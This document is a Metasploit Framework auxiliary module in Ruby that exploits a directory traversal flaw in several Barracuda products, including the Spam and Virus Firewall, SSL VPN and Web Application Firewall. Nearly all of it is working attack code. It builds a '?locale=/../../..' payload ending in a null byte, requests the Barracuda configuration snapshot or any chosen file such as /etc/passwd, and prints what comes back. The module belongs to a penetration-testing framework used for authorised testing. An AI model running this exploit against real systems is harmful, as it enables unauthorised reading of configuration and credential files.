metasploit-framework/modules/auxiliary/scanner/http/barracuda_directory_travers...

100 lines
2.8 KiB
Ruby
Raw Normal View History

##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Barracuda Multiple Product "locale" Directory Traversal',
'Version' => '$Revision$',
'Description' => %q{
This module exploits a directory traversal vulnerability present in
serveral Barracuda products, including the Barracuda Spam and Virus Firewall,
Barracuda SSL VPN, and the Barracuda Web Application Firewall. By default,
this module will attempt to download the Barracuda configuration file.
},
'References' =>
[
['OSVDB', '68301'],
['URL', 'http://secunia.com/advisories/41609/'],
['EDB', '15130']
],
'Author' =>
[
'==[ Alligator Security Team ]==',
'Tiago Ferreira <tiago.ccna[at]gmail.com>'
],
'DisclosureDate' => 'Oct 08 2010',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(8000),
OptString.new('FILE', [ true, "Define the remote file to view, ex:/etc/passwd", '/mail/snapshot/config.snapshot']),
OptString.new('URI', [true, 'Barracuda vulnerable URI path', '/cgi-mod/view_help.cgi']),
], self.class)
end
def target_url
"http://#{vhost}:#{rport}#{datastore['URI']}"
end
def run_host(ip)
uri = datastore['URI']
file = datastore['FILE']
payload = "?locale=/../../../../../../..#{file}%00"
print_status("#{target_url} - Barracuda - Checking if remote server is vulnerable")
res = send_request_raw(
{
'method' => 'GET',
'uri' => uri + payload,
}, 25)
if (res and res.code == 200 and res.body)
if res.body.match(/\<html\>(.*)\<\/html\>/im)
html = $1
if res.body =~ /barracuda\.css/
if html.length > 100
file_data = html.gsub(%r{</?[^>]+?>}, '')
print_good("#{target_url} - Barracuda - Vulnerable")
print_good("#{target_url} - Barracuda - File Output:\n" + file_data + "\n")
else
print_error("#{target_url} - Barracuda - Not vulnerable: HTML too short?")
end
elsif res.body =~ /help_page/
print_error("#{target_url} - Barracuda - Not vulnerable: Patched?")
else
print_error("#{target_url} - Barracuda - File not found or permission denied")
end
else
print_error("#{target_url} - Barracuda - No HTML was returned")
end
else
print_error("#{target_url} - Barracuda - Unrecognized #{res.code} response")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
end